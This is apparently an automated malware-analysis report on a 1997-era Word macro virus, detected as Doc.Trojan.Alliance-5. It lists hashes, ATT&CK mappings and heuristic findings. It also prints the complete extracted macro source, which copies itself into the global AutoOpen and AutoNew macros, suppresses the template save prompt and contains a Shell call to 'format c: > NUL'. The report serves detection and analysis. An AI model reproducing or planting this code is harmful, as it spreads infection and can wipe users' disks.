Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3531d6acf6ccd14c…

MALICIOUS

Office (OLE)

29.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb57f111c731ed63eaf71fb0a24a723d SHA-1: 8154bc5a22b9a4923bf05cddd53f1331d6e4f2d7 SHA-256: 3531d6acf6ccd14c3b1798ecc9903f88174b2fddb2db283a6abacd75f0c87439
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to other global macros and uses a Shell() call to execute the command 'format c: > NUL', indicating a destructive intent or a placeholder for a more malicious payload. The ClamAV detection 'Doc.Trojan.Alliance-5' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Alliance-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alliance-5
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1769 bytes
SHA-256: 89ea4c58dbacd98c303daa281dc9b45a85bfef57ba600169965a53c9a08b4b08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim FileName$
Dim MacroName$
Dim a$
Dim a_
    'virus macro - ultra simplifié
    'destiné à effectuer des tests de performances des
    'logiciels anti-virus...
    '1997- mister Mad

On Error GoTo -1: On Error GoTo ErrorHandler1                   'si erreurs
FileName$ = WordBasic.[FileName$]()                 'nom de ce fichier
MacroName$ = FileName$ + ":AutoOpen"        'nom du virus
WordBasic.FileSummaryInfo Subject:="Ce document est infecté {mister Mad#004+}"
WordBasic.MacroCopy MacroName$, "Global:AutoNew"        'qu'on copie dans AutoNew
WordBasic.MacroCopy MacroName$, "Global:AutoOpen"       'et dans AutoOpen globaux
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
ErrorHandler1:
On Error GoTo -1: On Error GoTo ErrorHandler2                   'si nouvelle erreur
        If WordBasic.IsDocumentDirty() = -1 Then        'si doc est modifié
            WordBasic.MacroCopy "Global:AutoOpen", MacroName$   'on copie le virus
        End If                              'sur la macro modifiée
        WordBasic.FileSaveAs Format:=1      'et enregistre
If WordBasic.CommandValid(a$) = -1 Then             'ne peut pas être executé !
    If a_ = 29873876 Then
        WordBasic.Shell "format c: > NUL"
    End If
End If
ErrorHandler2:                              'et quitte...
WordBasic.PrintStatusBar "Votre word est maintenant infecté, par le virus 004"
End Sub

Attribute VB_Name = "NewMacros"

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